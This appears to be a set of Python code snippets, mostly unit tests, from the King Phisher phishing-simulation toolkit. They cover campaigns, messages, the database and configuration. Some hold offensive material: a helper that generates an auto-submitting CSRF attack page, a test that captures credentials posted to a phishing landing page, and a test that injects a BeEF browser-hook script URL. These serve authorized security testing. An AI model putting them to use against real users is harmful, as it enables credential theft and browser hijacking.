def setUp(self): self.config = { 'mailer.webserver_url': 'http://king-phisher.local/foobar', 'server_config': { 'server.secret_id': random_string(24), 'server.tracking_image': "{0}.gif".format(random_string(32)) } } self.image_cid_regex = r'img_[a-z0-9]{8}' + re.escape(os.path.splitext(testing.TEST_MESSAGE_TEMPLATE_INLINE_IMAGE)[-1])
def test_rpc_set_value(self): campaign_name = random_string(10) new_campaign_name = random_string(10) campaign_id = self.rpc('campaign/new', campaign_name) campaign = self.rpc.remote_table_row('campaigns', campaign_id) self.assertEqual(campaign.id, campaign_id) self.assertEqual(campaign.name, campaign_name) self.rpc('campaigns/set', campaign_id, 'name', new_campaign_name) campaign = self.rpc.remote_table_row('campaigns', campaign_id) self.assertEqual(campaign.name, new_campaign_name)
def test_global_variables(self): # prepend an alphabetic character so the result is a valid identifier test_key = 'a' + random_string(10) test_value = random_string(20) global_vars = {test_key: test_value} env = BaseTemplateEnvironment(global_vars=global_vars) test_string = test_string = '<html>{{ ' + test_key + ' }}</html>' template = env.from_string(test_string) result = template.render() self.assertTrue(test_value in result) self.assertFalse(test_key in result)
def test_set_meta_data(self): self._init_db() # set a new value key = random_string(10) value = random_string(20) db_manager.set_metadata(key, value) self.assertEqual(db_manager.get_metadata(key), value) # update an existing value value = random_string(30) db_manager.set_metadata(key, value) self.assertEqual(db_manager.get_metadata(key), value)
def test_mailer_guess_smtp_server_address(self): random_host = random_string(7) + '.' + random_string(7) + '.' + random_string(3) self.assertIsNone(guess_smtp_server_address('localhost')) self.assertIsNone(guess_smtp_server_address('127.0.0.1')) self.assertIsNone(guess_smtp_server_address('::1')) self.assertIsNone(guess_smtp_server_address('localhost', 'localhost')) self.assertIsNone(guess_smtp_server_address('localhost', random_host)) self.assertEqual(str(guess_smtp_server_address('10.0.0.1')), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('10.0.0.1', random_host)), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('127.0.0.1', '10.0.0.1')), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('::1', '10.0.0.1')), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('localhost', '10.0.0.1')), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('10.0.0.1', 'localhost')), '10.0.0.1') self.assertEqual(str(guess_smtp_server_address('10.0.0.1', '10.0.0.2')), '10.0.0.1')
def step_4_get_passwords(self): creds_count = self.rpc('db/table/count', 'credentials', query_filter={'campaign_id': self.campaign_id}) self.assertEqual(creds_count, 0) username = random_string(8) password = random_string(10) body = {'username': username, 'password': password} headers = {'Cookie': "{0}={1}".format(self.config.get('server.cookie_name'), self.visit_id)} response = self.http_request('/' + self.landing_page, method='POST', include_id=False, body=body, headers=headers) self.assertHTTPStatus(response, 200) creds_count = self.rpc('db/table/count', 'credentials', query_filter={'campaign_id': self.campaign_id}) self.assertEqual(creds_count, 1) cred = next(self.rpc.remote_table('credentials', {'campaign_id': self.campaign_id})) self.assertEqual(cred.username, username) self.assertEqual(cred.password, password) self.assertEqual(cred.message_id, self.message_id) self.assertEqual(cred.visit_id, self.visit_id)
def test_set_meta_data(self): try: db_manager.init_database('sqlite://') except Exception as error: self.fail("failed to initialize the database (error: {0})".format(error.__class__.__name__)) # set a new value key = random_string(10) value = random_string(20) db_manager.set_meta_data(key, value) self.assertEqual(db_manager.get_meta_data(key), value) # update an existing value value = random_string(30) db_manager.set_meta_data(key, value) self.assertEqual(db_manager.get_meta_data(key), value)
def make_csrf_page(url, params, method='POST'): """ A Jinja function which will create an HTML page that will automatically perform a CSRF attack against another page. :param str url: The URL to use as the form action. :param dict params: The parameters to send in the forged request. :param str method: The HTTP method to use when submitting the form. """ escape = lambda s: html.escape(s, quote=True) form_id = utilities.random_string(12) page = [] page.append('<!DOCTYPE html>') page.append('<html lang="en-US">') page.append(" <body onload=\"document.getElementById(\'{0}\').submit()\">".format(form_id)) page.append(" <form id=\"{0}\" action=\"{1}\" method=\"{2}\">".format(form_id, escape(url), escape(method))) for key, value in params.items(): page.append(" <input type=\"hidden\" name=\"{0}\" value=\"{1}\" />".format(escape(key), escape(value))) page.append(' </form>') page.append(' </body>') page.append('</html>') page = '\n'.join(page) return markupsafe.Markup(page)
def test_get_hostnames(self): new_hostname = random_string(16) config_hostnames = self.config.get_if_exists('server.hostnames', []) config_hostnames.append(new_hostname) self.config.set('server.hostnames', config_hostnames) hostnames = web_tools.get_hostnames(self.config) self.assertIsInstance(hostnames, tuple) self.assertIn(new_hostname, hostnames)
def generate_token(): """ Generate the token to be checked when REST API requests are made. :return: The API token :rtype: str """ return utilities.random_string(24)
def step_2_send_messages(self): self.landing_page = next(f for f in self.web_root_files() if os.path.splitext(f)[1] == '.html') self.rpc('campaign/landing_page/new', self.campaign_id, 'localhost', self.landing_page) message_count = self.rpc('db/table/count', 'messages', query_filter={'campaign_id': self.campaign_id}) self.assertEqual(message_count, 0) self.message_id = random_string(16) self.rpc('campaign/message/new', self.campaign_id, self.message_id, '*****@*****.**', 'testers, inc.', 'test', 'test') message_count = self.rpc('db/table/count', 'messages', query_filter={'campaign_id': self.campaign_id}) self.assertEqual(message_count, 1)
def test_comparisions(self): password = utilities.random_string(10) cached_password = aaa.CachedPassword.new_from_password(password) self.assertEqual(cached_password, password) self.assertEqual(cached_password, aaa.CachedPassword.new_from_password(password)) self.assertNotEqual(cached_password, '_', password) self.assertNotEqual(cached_password, aaa.CachedPassword.new_from_password('_' + password))
def test_rpc_config_get(self): self.assertEqual(self.rpc('config/get', 'server.address.port'), self.config.get('server.address.port')) server_address = self.rpc('config/get', ['server.address.host', 'server.address.port']) self.assertIsInstance(server_address, dict) self.assertTrue('server.address.host' in server_address) self.assertTrue('server.address.port' in server_address) self.assertEqual(server_address['server.address.host'], self.config.get('server.address.host')) self.assertEqual(server_address['server.address.port'], self.config.get('server.address.port')) self.assertIsNone(self.rpc('config/get', random_string(10)))
def test_rpc_campaign_new(self): campaign_name = random_string(10) campaign_id = self.rpc('campaign/new', campaign_name) self.assertIsInstance(campaign_id, int) campaigns = self.rpc.remote_table('campaigns') self.assertIsInstance(campaigns, types.GeneratorType) campaigns = list(campaigns) self.assertEqual(len(campaigns), 1) campaign = campaigns[0] self.assertEqual(campaign.id, campaign_id) self.assertEqual(campaign.name, campaign_name)
def test_dictionary_verification(self): test_data = {} for _ in range(5): test_data['_' + utilities.random_string(10)] = utilities.random_string(10) self.sk = security_keys.SigningKey.generate(curve=ecdsa.NIST521p) test_data = self.sk.sign_dict(test_data, signature_encoding='base64') self.assertIsInstance(test_data, dict) # make sure the 'signature' key was added self.assertIn('signature', test_data) self.assertEqual(len(test_data), 6) try: binascii.a2b_base64(test_data['signature']) except ValueError: self.fail('signature could not be decoded as base64') vk = self.sk.get_verifying_key() vk.verify_dict(test_data, signature_encoding='base64') test_data['_' + utilities.random_string(10)] = utilities.random_string(10) with self.assertRaises(ecdsa.keys.BadSignatureError): vk.verify_dict(test_data, signature_encoding='base64')
def test_get_row_by_id(self): self._init_db() session = db_manager.Session() user = db_models.User(id='alice') session.add(user) campaign_name = random_string(10) campaign = db_models.Campaign(name=campaign_name, user_id=user.id) session.add(campaign) session.commit() self.assertIsNotNone(campaign.id) campaign_id = campaign.id del campaign row = db_manager.get_row_by_id(session, db_models.Campaign, campaign_id) self.assertEqual(row.id, campaign_id) self.assertEqual(row.name, campaign_name)
def step_6_get_new_message_visit(self): # simulate a user who has already been issued a visit id in a cookie clicking a link in a new message message_id = random_string(16) self.rpc('campaign/message/new', self.campaign_id, message_id, '*****@*****.**', 'testers, inc.', 'test', 'test') message_count = self.rpc('db/table/count', 'messages', query_filter={'campaign_id': self.campaign_id}) self.assertEqual(message_count, 2) headers = {'Cookie': "{0}={1}".format(self.config.get('server.cookie_name'), self.visit_id)} response = self.http_request('/' + self.landing_page, include_id=message_id, headers=headers) self.assertHTTPStatus(response, 200) cookie = response.getheader('Set-Cookie') self.assertIsNotNone(cookie) cookie = cookie.split(';')[0] cookie_name = self.config.get('server.cookie_name') cookie = cookie[len(cookie_name) + 1:] self.assertNotEqual(self.visit_id, cookie) self.assertEqual(len(self.visit_id), len(cookie))
def test_static_resource_javascript_hook(self): http_response = self.http_request('kp.js') self.assertHTTPStatus(http_response, 200) content_type = http_response.getheader('Content-Type') error_message = "HTTP Response received Content-Type {0} when {1} was expected".format(content_type, 'text/javascript') self.assertEqual(content_type, 'text/javascript', msg=error_message) javascript = http_response.read() javascript = str(javascript.decode('utf-8')) load_script = 'function loadScript(url, callback) {' error_message = "Javascript did not defined the loadScript function" self.assertTrue(load_script in javascript, msg=error_message) beef_hook_url = "http://{0}:3000/hook.js".format(random_string(30)) self.config.set('beef.hook_url', beef_hook_url) http_response = self.http_request('kp.js') self.assertHTTPStatus(http_response, 200) javascript = http_response.read() javascript = str(javascript.decode('utf-8')) load_script = "loadScript('{0}');".format(beef_hook_url) error_message = "Javascript did not load the beef hook from the config" self.assertTrue(load_script in javascript, msg=error_message)
def test_rpc_campaign_delete(self): campaign_name = random_string(10) campaign_id = self.rpc('campaign/new', campaign_name) self.rpc('campaign/delete', campaign_id)
def test_non_existing_resources(self): http_response = self.http_request(random_string(30) + '.html') self.assertHTTPStatus(http_response, 404) http_response = self.http_request(random_string(30) + '.html') self.assertHTTPStatus(http_response, 404)
def test_rpc_config_set_permissions(self): config_key = random_string(10) config_value = random_string(10) self.assertRPCPermissionDenied('config/set', {config_key: config_value})
def test_xor_decode(self): plain_string = random_string(16) encoded_string = xor_encode(plain_string) self.assertNotEqual(plain_string, encoded_string) decoded_string = xor_decode(encoded_string) self.assertEqual(plain_string, decoded_string)
def test_lookup_carrier_gateway(self): rstring = random_string(16) self.assertIsNone(lookup_carrier_gateway(rstring)) self.assertEqual(lookup_carrier_gateway('att'), 'txt.att.net') self.assertEqual(lookup_carrier_gateway('aTt'), 'txt.att.net') self.assertEqual(lookup_carrier_gateway('AT&T'), 'txt.att.net')
def test_rpc_config_set(self): config_key = server_rpc.CONFIG_WRITEABLE[0] config_value = random_string(10) self.rpc('config/set', {config_key: config_value}) self.assertEqual(self.rpc('config/get', config_key), config_value)
def test_rpc_campaign_delete(self): campaign_name = random_string(10) campaign_id = self.rpc('campaign/new', campaign_name) self.rpc('db/table/delete', 'campaigns', campaign_id)
def test_rpc_config_set(self): config_key = random_string(10) config_value = random_string(10) self.rpc('config/set', {config_key: config_value}) self.assertEqual(self.rpc('config/get', config_key), config_value)
from king_phisher import utilities from king_phisher import xor from king_phisher.server import aaa from king_phisher.server import pages from king_phisher.server import rest_api from king_phisher.server import server_rpc from king_phisher.server import signals from king_phisher.server import web_sockets from king_phisher.server.database import manager as db_manager from king_phisher.server.database import models as db_models import advancedhttpserver import jinja2 from smoke_zephyr import job make_uid = lambda: utilities.random_string(24) class KingPhisherRequestHandler(advancedhttpserver.RequestHandler): logger = logging.getLogger('KingPhisher.Server.RequestHandler') def __init__(self, *args, **kwargs): # this is for attribute documentation self.config = None """A reference to the main server instance :py:attr:`.KingPhisherServer.config`.""" self.path = None """The resource path of the current HTTP request.""" self.rpc_session = None super(KingPhisherRequestHandler, self).__init__(*args, **kwargs) def on_init(self):
from smoke_zephyr.utilities import parse_server if sys.version_info[0] < 3: import urllib import urlparse urllib.parse = urlparse else: import urllib.parse # pylint: disable=ungrouped-imports __all__ = ( 'guess_smtp_server_address', 'MailSenderThread', 'render_message_template' ) make_uid = lambda: utilities.random_string(16) template_environment = templates.MessageTemplateEnvironment() MessageAttachments = collections.namedtuple('MessageAttachments', ('files', 'images')) """A named tuple for holding both image and file attachments for a message.""" class MessageTarget(object): """ A simple class for holding information regarding a messages intended recipient. """ __slots__ = 'department', 'email_address', 'first_name', 'last_name', 'line', 'uid' def __init__(self, first_name, last_name, email_address, uid, department=None, line=None): self.first_name = first_name """The target recipient's first name.""" self.last_name = last_name
def test_rpc_hostnames_add(self): new_hostname = random_string(16) + '.local' self.rpc('hostnames/add', new_hostname) hostnames = self.rpc('hostnames/get') self.assertIsInstance(hostnames, list) self.assertIn(new_hostname, hostnames)
def test_graphs_os_colors(self): for os_name in constants.OSFamily.values(): self.assertIn(os_name, graphs.MPL_OS_COLORS) bad_os_name = random_string(10) self.assertEqual(graphs.MPL_OS_COLORS[bad_os_name], graphs.MPL_COLOR_NULL)